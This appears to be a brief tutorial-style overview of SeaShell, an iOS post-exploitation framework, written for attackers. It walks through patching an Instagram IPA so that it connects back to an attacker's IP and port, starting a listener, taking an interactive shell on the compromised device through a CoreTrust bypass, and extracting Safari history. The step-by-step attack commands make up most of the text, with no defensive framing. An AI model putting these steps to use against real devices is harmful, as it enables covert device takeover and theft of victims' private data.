SeaShell
SeaShell Framework - iOS Post-Exploitation Tool
Overview
SeaShell is an ios post-exploitation framework that enables attackers to remotely access, control, and extract sensitive information from compromised devices.
Core Functionality
Attackers can use this exploitation framework to exploit the CoreTrust vulnerability, which allows bypassing security checks of CoreTrust for unauthorized software execution.
Exploitation Method
The SeaShell Framework allows attackers to install malicious software on victim devices by generating IPA files, initiating a TCP listener, and exploiting CoreTrust bugs using TrollStore.
As a result, it helps them gain an interactive session with the target device using a Pwny payload with dynamic extension and TLS encryption.
Exploitation Steps
Step 1: Framework Launch
Run the following command to launch the SeaShell Framework:
seashell
Step 2: IPA File Patching
Run the following command to patch an IPA file and provide the IP address and port number to establish a connection:
ipa patch Instagram.ipa
Step 3: Listener Setup
Now, run the following command to start a listener on the host and port added to the patched IPA:
listener on <IP address> <Port no>
You will receive a connection after the installed application opens.
Step 4: Interactive Shell Access
Run the following commands to interact with the compromised device using the interactive shell by implementing Pwny:
devices -i <id>
You can also run the "help" command to generate a list of available commands.
Step 5: Data Extraction
Once the remote interaction is successfully established, execute the following command to access the web browsing history:
safari_history
Note: The command retrieves and parses the database, which is located at "/var/mobile/Library/Safari/"